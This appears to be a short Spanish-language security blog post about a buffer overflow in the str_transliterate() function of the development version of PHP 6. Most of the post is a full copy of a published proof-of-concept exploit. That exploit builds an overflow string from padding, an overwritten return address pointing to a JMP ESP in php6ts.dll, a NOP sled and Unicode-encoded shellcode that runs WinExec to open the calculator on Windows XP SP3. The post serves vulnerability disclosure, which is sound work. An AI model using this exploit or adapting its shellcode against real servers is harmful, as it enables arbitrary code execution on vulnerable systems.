Buffer Overflow en PHP 6 Dev
Recientemente fue descubierto un fallo grave de seguridad en la versión de desarrollo de PHP 6, el lenguaje de programación mas utilizado para realizar aplicaciones web.
El problema se encuentra en la funcion str_transliterate() que permite "traducir" un texto de un lenguaje a otro, pero a su vez no valida adecuadamente los parámetros de entrada y permite la ejecución de código por medio de un buffer overflow.
Les dejo una PoC que explota esta vulnerabilidad sobre servidor Apache, corriendo en Windows XP SP3 y permite ejecutar la calculadora del sistema:
# Title: PHP 6.0 Dev str_transliterate() 0Day Buffer Overflow Exploit
# EDB-ID: 12051
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Pr0T3cT10n
# Published: 2010-04-04
# Verified: yes
# Download Exploit Code
# Download Vulnerable app
<?php
error_reporting(0);
#####################################################################
## PHP 6.0 Dev str_transliterate() 0Day Buffer Overflow Exploit
## Tested on WIN XP HEB SP3, Apache, PHP 6.0 Dev
## Buffer Overflow
## Bug discovered by Pr0T3cT10n, <[email protected]>
## Exploited by TheLeader, Debug
## SP. Thanks: HDM
## http://www.nullbyte.org.il
#####################################################################
## This code should exploits a buffer overflow in the str_transliterate() function to call WinExec and execute CALC
## Take a look, 'unicode.semantics' has to be on!
## php.ini > unicode.semantics = on
#####################################################################
if(ini_get_bool('unicode.semantics')) {
$buff = str_repeat("\u4141", 256);
$eip = "\u1445\u10A9"; # 0x10A91445 JMP ESP @ php6ts.dll
$nops = str_repeat("\u9090", 20);
# WinExec Calc XP SP3 HEB Unicode-encoded shellcode
$shellcode = "\u02EB\u05EB\uF9E8\uFFFF\u33FF\u5BC0\u4388\u8315\u11C3\uBB53\u250D\u7C86\uD3FF\u6163\u636C\u414E";
# WinExec Calc XP SP3 EN Unicode-encoded shellcode (added by muts)
# $shellcode = "\u02EB\u05EB\uF9E8\uFFFF\u33FF\u5BC0\u4388\u8315\u11C3\uBB53\u23AD\u7C86\uD3FF\u6163\u636C\u414E";
$exploit = $buff.$eip.$nops.$shellcode;
str_transliterate(0, $exploit, 0);
} else {
exit("Error! 'unicode.semantics' has be on!\r\n");
}
function ini_get_bool($a) {
$b = ini_get($a);
switch (strtolower($b)) {
case 'on':
case 'yes':
case 'true':
return 'assert.active' !== $a;
case 'stdout':
case 'stderr':
return 'display_errors' === $a;
default:
return (bool) (int) $b;
}
}
?>
Hay que recordar que esta versión de PHP aun esta en desarrollo, pero no deja de ser inquietante este tipo de problemas de carácter critico, en un lenguaje de programación tan extendido en la red, como lo es PHP.
Mas Información:
PHP 6.0 Dev str_transliterate() 0Day Buffer Overflow Exploit
Codigo en exploit-db.com